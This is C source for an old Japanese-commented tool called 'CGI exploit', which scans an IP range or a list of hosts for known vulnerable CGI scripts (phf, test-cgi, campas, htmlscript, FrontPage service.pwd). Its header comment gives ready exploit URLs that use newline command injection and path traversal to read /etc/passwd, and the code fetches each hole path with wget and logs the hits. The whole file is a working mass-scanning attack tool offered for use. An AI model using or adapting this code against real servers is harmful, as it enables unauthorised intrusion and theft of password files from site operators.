/*------------------------------------------------------------ CGI seculity holes auto finder - CGI exploit Ver1.10 Programmed by UNYUN [使い方] cgiexp を実行すると、開始と終了のIPアドレスを聞いてくるので 指定すると、その範囲内で攻撃。 また、cgiexpの引数にIPリストファイルを指定できます。その場合 は、リストに記載されているIPを順に攻撃します。 *検索する穴 phf、test-cgi、nph-test-cgi、campas、htmlscript、service.pwd *穴がる可能性のある鯖を検出したら... http://www.hoge.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd http://www.hoge.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd http://www.hoge.com/cgi-bin/nph-test-cgi?/* http://www.hoge.com/cgi-bin/campas?%0a/bin/cat%0a/etc/passwd http://www.hoge.com/cgi-bin/htmlscript?../../../../etc/passwd http://www.hoge.com/_vti_pvt/service.pwd で、ShadowなしpasswdをGET. ------------------------------------------------------------ */ #include #include #include #include #include #include #include /* #include #include */ #define LOGNAME "cgiexp.log" #define TIMEOUT_V 2 /* Connectionタイムアウト値 */ #define MAX_IPLEN 16 /* IPアドレスの最大文字数 */ #define MAX_URLLEN 1000 /* URLの最大長 */ /* Security Holeです。追加できます */ static char *holes[]={ "cgi-bin/phf", "cgi-bin/test-cgi", "cgi-bin/nph-test-cgi", "cgi-bin/campas", "cgi-bin/htmlscript", "_vti_pvt/service.pwd", "END"}; int sock; /* 接続用ソケット */ main(int argc,char *argv[]) { int separation(char *,unsigned long *); void attack(char *,FILE *); int i,j; unsigned long ips,ipe,ip; char ipb[MAX_IPLEN],buf[MAX_IPLEN],buf2[MAX_IPLEN]; char cmd[MAX_URLLEN]; FILE *fpw,*fpl; printf("CGI seculity holes auto finder - CGI exploit Ver1.00\n"); printf("Programmed by UNYUN\n\n"); if (argc==2){ if ((fpl=fopen(argv[1],"r"))==NULL){ printf("IPリストファイル'%s'が存在しません\n",argv[1]); exit(1); } }else{ printf("対象IPアドレス 開始 : "); scanf("%s",buf); if (separation(buf,&ips)==-1){ printf("Error : IPアドレスの指定に誤りがあります.\n"); exit(1); } printf("対象IPアドレス 終了 : "); scanf("%s",buf2); if (separation(buf2,&ipe)==-1){ printf("Error : IPアドレスの指定に誤りがあります.\n"); exit(1); } } if ((fpw=fopen(LOGNAME,"w"))==NULL){ printf("ログファイル'%s'に書き込みができません\n",LOGNAME); exit(1); } if (argc==2){ for (;;){ if (feof(fpl)) break; fscanf(fpl,"%s",ipb); attack(ipb,fpw); } fclose(fpl); }else{ for (ip=ips;ip<=ipe;ip++){ sprintf(ipb,"%lu.%lu.%lu.%lu",ip>>24,(ip&0x00ff0000)>>16, (ip&0x0000ff00)>>8, ip&0x000000ff); attack(ipb,fpw); } } fclose(fpw); } /*================================================== 指定したIPアドレスのサーバーを攻撃 [Input] ip : IPアドレス文字列 fpw : ログファイルファイルポインタ ================================================== */ void attack(char *ipb,FILE *fpw) { int flag; int i,j; char cmd[MAX_URLLEN]; FILE *fp; int portscan(int, char *); printf("%15s...",ipb); fprintf(fpw,"%15s...",ipb); if (portscan(80,ipb)==0){ flag=0; for (i=0;;i++){ if (strcmp(holes[i],"END")==0) break; for (j=strlen(holes[i])-1;j>=0;j--) if (holes[i][j]=='/') break; j++; remove(holes[i]+j); sprintf(cmd,"wget -nv %s/%s",ipb,holes[i]); system(cmd); if ((fp=fopen(holes[i]+j,"r"))!=NULL){ if (flag==0){ printf("\n"); fprintf(fpw,"\n"); } printf("Hit!! Running '%s'\n",holes[i]+j); fprintf(fpw,"Hit!! Running '%s'\n",holes[i]+j); fclose(fp); flag++; } } if (flag==0){ printf("no holes\n"); fprintf(fpw,"no holes\n"); } }else{ printf("\n"); fprintf(fpw,"\n"); } } /*================================================== IPアドレス文字列の数値化 [Input] ipaddr : IPアドレス文字列 ipl : IPアドレス格納バッファ [Output] 0 : 正常 -1 : IPアドレスの指定に誤りがある ================================================== */ int separation(char *ipaddr,unsigned long *ipl) { int i,j,n; char buf[MAX_IPLEN]; int ip[4]; unsigned long d; for (n=0,j=0,i=0;i<=strlen(ipaddr);i++){ if (ipaddr[i]=='.' || i==strlen(ipaddr)){ buf[j]=0; ip[n]=atoi(buf); if (ip[n]<0 || ip[n]>255) return (-1); n++; j=0; }else{ buf[j]=ipaddr[i]; j++; } } if (n!=4) return (-1); d=256; *ipl=ip[3]+ip[2]*d+ip[1]*d*d+ip[0]*d*d*d; return(0); } /*================================================== IP、ポート番号を指定してConnect [Input] port : ポート番号 ipaddr : IPアドレス [Output] 0 = Connect可 -1 = Socket生成エラー -2 = バインドエラー -3 = Connectionエラー ================================================== */ int portscan(int port, char *ipaddr) { struct sockaddr_in addr, server; /* ソケットアドレス構造体 */ void timeoutfunc(); /****** Socket生成 ************************************/ sock = socket(AF_INET, SOCK_STREAM, 0); if (sock < 0){ printf("Socket creation error"); return(-1); } /****** SocketのBind **********************************/ memset((char *) &server, 0, sizeof(server)); server.sin_family = AF_INET; server.sin_addr.s_addr = htonl(INADDR_ANY); server.sin_port = 0; if (bind(sock, (struct sockaddr *) &server, sizeof(server)) < 0) { close(sock); printf("Bind error "); return (-2); } /****** Connect **************************************/ addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr(ipaddr); addr.sin_port = htons(port); signal(SIGALRM, timeoutfunc); alarm(TIMEOUT_V); if (connect(sock,(struct sockaddr *)&addr,sizeof(addr))!=0){ close(sock); return (-3); } close(sock); return (0); } void timeoutfunc() { close(sock); }